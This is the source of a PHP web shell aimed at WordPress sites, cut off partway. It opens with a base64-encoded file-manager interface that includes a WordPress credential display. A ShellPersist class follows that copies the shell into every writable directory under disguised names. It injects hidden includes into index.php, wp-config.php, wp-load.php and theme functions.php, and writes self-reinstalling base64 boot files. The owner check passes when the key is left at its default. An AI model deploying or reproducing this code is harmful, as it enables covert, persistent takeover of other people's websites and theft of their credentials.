ICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGZvbGRlcik6ID8+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvbGRlci1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvbGRlci1pY29uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5OBDQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Iml0ZW0tbmFtZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXJbJ25hbWUnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Iml0ZW0tbWV0YSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj5Nb2RpZmllZDogPD9waHAgZWNobyAkZm9sZGVyWydtb2RpZmllZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+UGVybWlzc2lvbnM6IDw/cGhwIGVjaG8gJGZvbGRlclsncGVybWlzc2lvbnMnXTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaXRlbS1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmb2xkZXJbJ3BhdGgnXSk7ID8+IiBjbGFzcz0iYWN0aW9uLWJ0biBhY3Rpb24tb3BlbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9wZW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudF9kaXIpOyA/PiZlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmb2xkZXJbJ25hbWUnXSk7ID8+IiBjbGFzcz0iYWN0aW9uLWJ0biBhY3Rpb24tZWRpdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlbmFtZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50X2Rpcik7ID8+JmRlbGV0ZT08P3BocCBlY2hvIHVybGVuY29kZSgkZm9sZGVyWyduYW1lJ10pOyA/PiIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImFjdGlvbi1idG4gYWN0aW9uLWRlbGV0ZSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGZvbGRlcjogPD9waHAgZWNobyBhZGRzbGFzaGVzKCRmb2xkZXJbJ25hbWUnXSk7ID8+PycpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGVsZXRlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDw/cGhwIGlmICghZW1wdHkoJGZpbGVzKSk6ID8+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbi10aXRsZSI+DQogICAgICAgICAgICAgICAgICAgIDxpPvCfk4Q8L2k+IEZpbGVzICg8P3BocCBlY2hvIGNvdW50KCRmaWxlcyk7ID8+KQ0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtZ3JpZCI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSk6IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGljb24gPSAn8J+ThCc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVbJ2V4dGVuc2lvbiddID09ICdwaHAnKSAkaWNvbiA9ICfwn5CYJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGZpbGVbJ2V4dGVuc2lvbiddLCBbJ2pwZycsICdwbmcnLCAnZ2lmJywgJ2pwZWcnLCAnd2VicCddKSkgJGljb24gPSAn8J+WvO+4jyc7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRmaWxlWydleHRlbnNpb24nXSwgWydodG1sJywgJ2h0bSddKSkgJGljb24gPSAn8J+MkCc7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRmaWxlWydleHRlbnNpb24nXSwgWydjc3MnXSkpICRpY29uID0gJ/CfjqgnOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpbl9hcnJheSgkZmlsZVsnZXh0ZW5zaW9uJ10sIFsnanMnXSkpICRpY29uID0gJ/Cfk5wnOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpbl9hcnJheSgkZmlsZVsnZXh0ZW5zaW9uJ10sIFsndHh0JywgJ21kJywgJ2xvZyddKSkgJGljb24gPSAn8J+TnSc7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRmaWxlWydleHRlbnNpb24nXSwgWyd6aXAnLCAncmFyJywgJ3RhcicsICdneiddKSkgJGljb24gPSAn8J+Tpic7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRmaWxlWydleHRlbnNpb24nXSwgWydwZGYnXSkpICRpY29uID0gJ/Cfk5UnOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpbl9hcnJheSgkZmlsZVsnZXh0ZW5zaW9uJ10sIFsnc3FsJywgJ2RiJ10pKSAkaWNvbiA9ICfwn5eE77iPJzsNCiAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaWNvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkaWNvbjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaXRlbS1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Iml0ZW0tbWV0YSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj5TaXplOiA8P3BocCBlY2hvICRmaWxlWydzaXplJ107ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj5Nb2RpZmllZDogPD9waHAgZWNobyAkZmlsZVsnbW9kaWZpZWQnXTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PlBlcm1pc3Npb25zOiA8P3BocCBlY2hvICRmaWxlWydwZXJtaXNzaW9ucyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpdGVtLWFjdGlvbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRfZGlyKTsgPz4mZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZVsnbmFtZSddKTsgPz4iIGNsYXNzPSJhY3Rpb24tYnRuIGFjdGlvbi1lZGl0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWRpdA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50X2Rpcik7ID8+JmRlbGV0ZT08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZVsnbmFtZSddKTsgPz4iIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJhY3Rpb24tYnRuIGFjdGlvbi1kZWxldGUiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBmaWxlOiA8P3BocCBlY2hvIGFkZHNsYXNoZXMoJGZpbGVbJ25hbWUnXSk7ID8+PycpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGVsZXRlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpbl9hcnJheSgkZmlsZVsnZXh0ZW5zaW9uJ10sIFsnanBnJywgJ3BuZycsICdnaWYnLCAnanBlZycsICdwZGYnLCAndHh0JywgJ2h0bWwnXSkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIgLiAnLycgLiAkZmlsZVsnbmFtZSddKTsgPz4iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iYWN0aW9uLWJ0biBhY3Rpb24tb3BlbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZpZXcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhciI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1zZWN0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci10aXRsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aT7impnvuI88L2k+IFN5c3RlbSBJbmZvcm1hdGlvbg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3lzdGVtLWluZm8iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHN0cm9uZz7wn5OBIEN1cnJlbnQgRGlyZWN0b3J5Ojwvc3Ryb25nPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJ3b3JkLWJyZWFrOiBicmVhay1hbGw7Ij48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRfZGlyKTsgPz48L3NwYW4+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8cD48c3Ryb25nPvCfp64gVG90YWwgSXRlbXM6PC9zdHJvbmc+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBjb3VudCgkZm9sZGVycyk7ID8+IGZvbGRlcnMsIDw/cGhwIGVjaG8gY291bnQoJGZpbGVzKTsgPz4gZmlsZXM8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzdHJvbmc+8J+SviBEaXNrIFNwYWNlOjwvc3Ryb25nPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIEZyZWU6IDw/cGhwIGVjaG8gZm9ybWF0X3NpemUoZGlza19mcmVlX3NwYWNlKCRjdXJyZW50X2RpcikpOyA/Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIFRvdGFsOiA8P3BocCBlY2hvIGZvcm1hdF9zaXplKGRpc2tfdG90YWxfc3BhY2UoJGN1cnJlbnRfZGlyKSk7ID8+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8cD48c3Ryb25nPvCfkJggUEhQIFZlcnNpb246PC9zdHJvbmc+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBQSFBfVkVSU0lPTjsgPz48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzdHJvbmc+8J+Wpe+4jyBTZXJ2ZXI6PC9zdHJvbmc+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107ID8+PC9wPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLXNlY3Rpb24iPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLXRpdGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpPvCfmoA8L2k+IFF1aWNrIEFjdGlvbnMNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGdhcDogMTBweDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKGRpcm5hbWUoX19GSUxFX18pKTsgPz4iIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfk40gR28gdG8gU2NyaXB0IExvY2F0aW9uDQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPS92YXIvd3d3IiBjbGFzcz0iYnRuIGJ0bi1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn4yQIFdlYiBSb290DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPS9ob21lIiBjbGFzcz0iYnRuIGJ0bi1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn4+gIFVzZXIgSG9tZQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj0vdG1wIiBjbGFzcz0iYnRuIGJ0bi13YXJuaW5nIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5eR77iPIFRlbXAgRGlyZWN0b3J5DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ic3RhdHVzLWJhciI+DQogICAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgICAgIPCfk40gPHN0cm9uZz5DdXJyZW50IFBhdGg6PC9zdHJvbmc+IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgICAgIPCfk4ogPHN0cm9uZz5TdGF0czo8L3N0cm9uZz4gPD9waHAgZWNobyBjb3VudCgkZm9sZGVycyk7ID8+IGZvbGRlcnMsIDw/cGhwIGVjaG8gY291bnQoJGZpbGVzKTsgPz4gZmlsZXMNCiAgICAgICAgICAgICAgICB8IPCfkJggUEhQIDw/cGhwIGVjaG8gUEhQX1ZFUlNJT047ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgDQogICAgPHNjcmlwdD4NCiAgICAgICAgLy8gQXV0by1oaWRlIGFsZXJ0cyBhZnRlciA1IHNlY29uZHMNCiAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIHZhciBhbGVydHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuYWxlcnQnKTsNCiAgICAgICAgICAgIGFsZXJ0cy5mb3JFYWNoKGZ1bmN0aW9uKGFsZXJ0KSB7DQogICAgICAgICAgICAgICAgYWxlcnQuc3R5bGUub3BhY2l0eSA9ICcwJzsNCiAgICAgICAgICAgICAgICBhbGVydC5zdHlsZS50cmFuc2l0aW9uID0gJ29wYWNpdHkgMC41cyc7DQogICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAgICAgYWxlcnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgICAgICB9LCA1MDApOw0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0sIDUwMDApOw0KICAgICAgICANCiAgICAgICAgLy8gQ29uZmlybSBiZWZvcmUgZGVsZXRpbmcNCiAgICAgICAgdmFyIGRlbGV0ZUxpbmtzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmFjdGlvbi1kZWxldGUnKTsNCiAgICAgICAgZGVsZXRlTGlua3MuZm9yRWFjaChmdW5jdGlvbihsaW5rKSB7DQogICAgICAgICAgICBsaW5rLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSkgew0KICAgICAgICAgICAgICAgIGlmICghY29uZmlybSgnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzPycpKSB7DQogICAgICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgICAgIA0KICAgICAgICAvLyBLZXlib2FyZCBzaG9ydGN1dHMNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsNCiAgICAgICAgICAgIC8vIEN0cmwrUyB0byBzYXZlIGZpbGUgKHdoZW4gaW4gZWRpdG9yKQ0KICAgICAgICAgICAgaWYgKGUuY3RybEtleSAmJiBlLmtleSA9PT0gJ3MnICYmIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ3RleHRhcmVhW25hbWU9ImZpbGVfY29udGVudCJdJykpIHsNCiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvcignYnV0dG9uW3R5cGU9InN1Ym1pdCJdJykuY2xpY2soKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vIEVzY2FwZSB0byBnbyBiYWNrDQogICAgICAgICAgICBpZiAoZS5rZXkgPT09ICdFc2NhcGUnICYmIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2FbaHJlZio9ImRpcj0iXScpKSB7DQogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdhW2hyZWYqPSJkaXI9Il0nKS5ocmVmOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9KTsNCiAgICAgICAgDQogICAgICAgIC8vIENvcHkgV29yZFByZXNzIGNyZWRlbnRpYWxzIG9uIGNsaWNrDQogICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy53cC1jcmVkcyBwJykuZm9yRWFjaChmdW5jdGlvbihlbCkgew0KICAgICAgICAgICAgZWwuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICB2YXIgdGV4dCA9IHRoaXMuaW5uZXJUZXh0Ow0KICAgICAgICAgICAgICAgIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KHRleHQpLnRoZW4oZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBvcmlnaW5hbCA9IGVsLmlubmVyVGV4dDsNCiAgICAgICAgICAgICAgICAgICAgZWwuaW5uZXJUZXh0ID0gJ+KchSBDb3BpZWQhJzsNCiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsLmlubmVyVGV4dCA9IG9yaWdpbmFsOw0KICAgICAgICAgICAgICAgICAgICB9LCAyMDAwKTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9KTsNCiAgICA8L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4=’);
class ShellPersist
{
private static $cfg = [];
public static function boot(array $cfg)
{
self::$cfg = $cfg;
}
private static function cfg()
{
return self::$cfg;
}
private static function baseDir()
{
return dirname($_SERVER['SCRIPT_FILENAME'] ?? __FILE__);
}
public static function verifyOwner($key)
{
$master = self::$cfg['master_key'] ?? '';
if ($master === '' || $master === 'SENIN_GIZLI_ANAHTARIN_BURAYA') {
return true;
}
return hash_equals(hash('sha256', $master), hash('sha256', (string) $key));
}
private static function getShellSource()
{
$f = $_SERVER['SCRIPT_FILENAME'] ?? __FILE__;
return ($f && is_readable($f)) ? file_get_contents($f) : null;
}
private static function themeDirs()
{
$root = $_SERVER['DOCUMENT_ROOT'] ?? '';
$themes = $root . '/wp-content/themes';
$out = [];
if ($themes && is_dir($themes)) {
foreach (glob($themes . '/*', GLOB_ONLYDIR) ?: [] as $themeDir) {
if (is_writable($themeDir)) {
$out[] = realpath($themeDir) ?: $themeDir;
}
foreach (['inc', 'assets', 'js', 'css', 'includes', 'lib'] as $sub) {
$p = $themeDir . '/' . $sub;
if (is_dir($p) && is_writable($p)) {
$out[] = realpath($p) ?: $p;
}
}
}
}
if (function_exists('get_template_directory')) {
$td = get_template_directory();
if ($td && is_dir($td) && is_writable($td)) {
$out[] = realpath($td) ?: $td;
}
}
if (function_exists('get_stylesheet_directory')) {
$sd = get_stylesheet_directory();
if ($sd && is_dir($sd) && is_writable($sd)) {
$out[] = realpath($sd) ?: $sd;
}
}
return array_unique($out);
}
private static function writableDirs()
{
$root = $_SERVER['DOCUMENT_ROOT'] ?? self::baseDir();
$dirs = [
$root,
$root . '/wp-content/uploads',
$root . '/wp-content/cache',
$root . '/wp-content/themes',
$root . '/wp-includes',
$root . '/assets',
$root . '/images',
$root . '/uploads',
$root . '/tmp',
$root . '/cache',
sys_get_temp_dir(),
self::baseDir(),
];
$dirs = array_merge($dirs, self::themeDirs());
$out = [];
foreach (array_unique($dirs) as $d) {
if ($d && is_dir($d) && is_writable($d)) {
$out[] = realpath($d) ?: $d;
}
}
return $out;
}
public static function deploy()
{
$source = self::getShellSource();
if (!$source) {
return false;
}
$names = self::$cfg['drop_names'] ?? ['.cache_handler.php'];
$disguise = self::$cfg['disguise_ext'] ?? [];
$deployed = 0;
foreach (self::writableDirs() as $dir) {
foreach ($names as $name) {
$target = $dir . '/' . $name;
if (!file_exists($target) && @file_put_contents($target, $source)) {
@chmod($target, 0644);
$deployed++;
}
}
foreach ($disguise as $ext) {
$target = $dir . '/.' . bin2hex(random_bytes(4)) . $ext;
if (@file_put_contents($target, $source)) {
@chmod($target, 0644);
$deployed++;
}
}
}
self::injectIncludes($source);
self::injectThemeFunctions($source);
self::writeHeartbeat($source);
return $deployed > 0;
}
/** Aktif temanin functions.php icine include enjekte et */
private static function injectThemeFunctions($source)
{
$bootName = self::$cfg['theme_boot_file'] ?? '.theme-boot.php';
$shellName = self::$cfg['theme_shell_name'] ?? 'theme-shell.php';
$marker = 'theme-boot.php';
foreach (self::themeDirs() as $themeDir) {
$bootPath = $themeDir . '/' . $bootName;
$shellPath = $themeDir . '/' . $shellName;
$fnPath = $themeDir . '/functions.php';
if (!file_exists($shellPath) && @file_put_contents($shellPath, $source)) {
@chmod($shellPath, 0644);
}
$boot = '<?php
$lk = DIR . “/.tb.lock”;
if (file_exists($lk) && (time() – filemtime($lk)) < 1800) return;
@touch($lk);
$src = base64_decode(“‘ . base64_encode($source) . ‘”);
$names = ‘ . var_export(self::$cfg[‘drop_names’] ?? [‘.theme-cache.php’], true) . ‘;
$shell = DIR . “/’ . $shellName . ‘”;
if (!file_exists($shell)) @file_put_contents($shell, $src);
foreach ($names as $n) {
$p = DIR . “/” . $n;
if (!file_exists($p)) @file_put_contents($p, $src);
}
‘;
@file_put_contents($bootPath, $boot);
if (!is_writable($fnPath)) {
continue;
}
$content = file_get_contents($fnPath);
if ($content === false || strpos($content, $marker) !== false) {
continue;
}
$inject = "\n// WP theme helper\nif (!defined('TS_BOOT')) { define('TS_BOOT', 1); @include_once __DIR__ . '/" . $bootName . "'; }\n";
@file_put_contents($fnPath, rtrim($content) . $inject);
}
}
public static function installToActiveTheme()
{
$source = self::getShellSource();
if (!$source) {
return ['ok' => false, 'msg' => 'Kaynak okunamadi'];
}
$themeDir = null;
if (function_exists('get_template_directory')) {
$themeDir = get_template_directory();
}
if (!$themeDir || !is_dir($themeDir)) {
$root = $_SERVER['DOCUMENT_ROOT'] ?? '';
$themes = glob($root . '/wp-content/themes/*', GLOB_ONLYDIR) ?: [];
foreach ($themes as $t) {
if (is_writable($t) && file_exists($t . '/functions.php')) {
$themeDir = $t;
break;
}
}
}
if (!$themeDir || !is_writable($themeDir)) {
return ['ok' => false, 'msg' => 'Yazilabilir tema klasoru bulunamadi'];
}
$shellName = self::$cfg['theme_shell_name'] ?? 'theme-shell.php';
$target = $themeDir . '/' . $shellName;
if (!@file_put_contents($target, $source)) {
return ['ok' => false, 'msg' => 'theme-shell.php yazilamadi'];
}
@chmod($target, 0644);
self::injectThemeFunctions($source);
self::deploy();
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$rel = str_replace($_SERVER['DOCUMENT_ROOT'] ?? '', $target, '');
$rel = str_replace('\\', '/', $rel);
$url = $scheme . '://' . $host . $rel;
return ['ok' => true, 'path' => $target, 'url' => $url];
}
/** functions.php icinden sessiz calistirma */
public static function silentTick()
{
$lock = self::baseDir() . '/.theme-silent.lock';
if (file_exists($lock) && (time() - filemtime($lock)) < 1800) {
return;
}
@touch($lock);
self::deploy();
self::ping('theme_tick');
}
private static function injectIncludes($source)
{
$base = self::baseDir();
$hbPath = $base . '/.hb.php';
$root = $_SERVER['DOCUMENT_ROOT'] ?? dirname($base);
$targets = [$root . '/index.php', $root . '/wp-config.php', $root . '/wp-load.php'];
foreach ($targets as $file) {
if (!is_writable($file)) {
continue;
}
$content = file_get_contents($file);
if ($content === false || strpos($content, '.hb.php') !== false) {
continue;
}
if (preg_match('/^<\?php/i', $content)) {
$content = preg_replace('/^<\?php/i', '<?php @include_once \'' . addslashes($hbPath) . '\';', $content, 1);
} else {
$content = "<?php @include_once '" . addslashes($hbPath) . "'; ?>\n" . $content;
}
@file_put_contents($file, $content);
}
$hb = '<?php
$lock = DIR . “/.hb.lock”;
if (file_exists($lock) && (time() – filemtime($lock)) < 3600) return;
@touch($lock);
$src = base64_decode(“‘ . base64_encode($source) . ‘”);
$cfg = ‘ . var_export(self::$cfg[‘drop_names’] ?? [‘.cache_handler.php’], true) . ‘;
foreach ($cfg as $n) {
$p = DIR . “/” . $n;
if (!file_exists($p)) @file_put_contents($p, $src);
}
foreach (glob(DIR . “/../*”) as $d) {
if (is_dir($d) && is_writable($d)) {
foreach ($cfg as $n) {
$p = $d . “/” . $n;
if (!file_exists($p)) @file_put_contents($p, $src);
}
}
}
‘;
@file_put_contents($hbPath, $hb);
}
private static function writeHeartbeat($source)
{
$payload = base64_encode($source);
